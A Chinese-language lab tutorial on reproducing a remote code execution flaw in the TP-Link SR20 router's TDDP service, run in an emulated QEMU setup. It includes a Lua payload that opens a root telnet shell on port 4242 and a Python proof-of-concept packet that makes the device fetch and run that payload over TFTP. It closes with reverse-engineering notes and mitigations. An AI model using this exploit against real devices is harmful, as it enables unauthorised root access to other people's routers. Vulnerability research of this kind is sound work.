TP-Link SR20 RCE复现
字数 1855 2025-08-29 08:30:05
TP-Link SR20 RCE漏洞复现与分析教学文档
1. 漏洞概述
TP-Link SR20是一款支持Zigbee和Z-Wave物联网协议的触屏Wi-Fi路由器,可作为智能家居控制中枢。该设备存在一个严重的远程代码执行(RCE)漏洞,允许攻击者在设备上以root权限执行任意命令。
漏洞关键点:
- 漏洞存在于TP-Link设备调试协议(TDDP)中
- TDDP是TP-Link专利的调试协议,基于UDP运行在1040端口
- SR20运行的是V1版本TDDP协议,无需认证
- 攻击者只需向UDP 1040端口发送特定格式数据(第二字节为0x31)
- 设备会连接攻击者的TFTP服务下载文件并使用LUA解释器以root权限执行
2. 环境准备
2.1 固件获取与提取
-
从官网下载TP-Link SR20固件(选择SR20(US)_V1_180518版本)
-
使用binwalk分析固件:
binwalk SR20(US)_V1_180518.bin输出显示:
- 两段LZMA压缩数据
- TRX固件头部(1941504字节)
- Squashfs文件系统(xz压缩,13,061,274字节,2642个inode)
-
提取文件系统:
binwalk -e SR20(US)_V1_180518.bin提取的文件位于
_SR20(US)_V1_180518.bin.extracted/squashfs-root
2.2 QEMU环境搭建
-
安装QEMU:
sudo apt-get install qemu qemu-system qemu-user-static -
下载Debian ARM系统文件:
- 内核文件(vmlinuz)
- 初始内存磁盘(initrd.gz)
- 根文件系统(debian-armhf.qcow2)
-
创建TAP虚拟网卡:
sudo ip tuntap add tap0 mode tap sudo ip addr add 10.10.10.1/24 dev tap0 sudo ip link set tap0 up -
创建启动脚本(start.sh):
#!/bin/bash qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian-armhf.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -
启动QEMU虚拟机,使用root/root登录
2.3 文件系统挂载
-
压缩固件文件系统:
tar -czvf fs.tar.gz squashfs-root/ -
在QEMU虚拟机中:
wget http://宿主机IP:8000/fs.tar.gz tar -xzvf fs.tar.gz -
挂载文件系统:
mount -o bind /dev squashfs-root/dev mount -t proc /proc squashfs-root/proc chroot squashfs-root /bin/sh
2.4 TFTP服务搭建
-
安装atftpd:
sudo apt-get install atftpd -
修改配置文件(/etc/default/atftpd):
USE_INETD=false OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot" -
创建TFTP目录:
sudo mkdir /tftpboot sudo chown -R nobody /tftpboot -
重启服务:
sudo systemctl stop inetutils-inetd.service sudo systemctl restart atftpd
3. 漏洞复现
3.1 准备Payload
在/tftpboot目录下创建config_system.lua文件,内容如下:
function config_test()
os.execute("telnetd -l /bin/sh -p 4242")
end
3.2 复现步骤
-
在QEMU虚拟机中启动tddp程序:
/usr/bin/tddp -
在宿主机上使用netcat监听4242端口:
nc -lvnp 4242 -
执行POC脚本(或手动构造数据包):
import socket target_ip = "10.10.10.2" # QEMU虚拟机IP target_port = 1040 # 构造恶意数据包 payload = b"\x01\x31" + b"\x00"*14 # 第二字节为0x31 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) -
连接telnet获取shell:
telnet 10.10.10.2 4242
4. 漏洞分析
4.1 TDDP协议格式
| 偏移 | 字段名 | 长度 | 描述 |
|---|---|---|---|
| 0x00 | Ver | 1字节 | 协议版本(1或2) |
| 0x01 | Type | 1字节 | 报文类型 |
| 0x02 | Code | 1字节 | 请求/响应类型 |
| 0x03 | ReplyInfo | 1字节 | 返回信息 |
| 0x04 | PktLength | 2字节 | 数据长度 |
| 0x06 | PktID | 2字节 | 报文ID |
| 0x08 | SubType | 1字节 | 子类型 |
| 0x09 | Reserve | 7字节 | 保留字段 |
| 0x10 | Digest | 16字节 | MD5摘要 |
4.2 逆向分析
-
main函数 (sub_971C):
- 初始化tddp结构体
- 创建socket并绑定地址
- 设置flags和时间
- 调用tddp_func
-
tddp_func:
- 初始化接收/发送缓冲区
- 使用recvfrom接收数据
- 初始化LUA环境
- 根据协议版本调用不同函数(此处调用tddp_version_1_func)
-
tddp_version_1_func:
- 根据数据包中的Type字段选择处理函数
- 漏洞点在0x31(CMD_FTEST_CONFIG)处理分支
-
CMD_FTEST_CONFIG处理:
- 进入/tmp目录
- 使用tftp获取lua文件
- 加载lua库
- 调用config_test函数
- 使用lua_call执行lua脚本(无任何过滤)
5. 漏洞利用限制
- TDDP服务可能只能通过有线网络访问,Wi-Fi无法访问
- 需要设备开启1040/UDP端口
- 攻击者需要能够向目标发送UDP数据包
6. 参考链接
- TP-Link SR20固件下载页面
- Debian ARM镜像下载
- QEMU官方文档
- atftpd配置指南
7. 防护建议
- 禁用TDDP服务(如果不需要)
- 防火墙规则阻止1040/UDP端口
- 升级到修复漏洞的固件版本
- 使用网络分段隔离物联网设备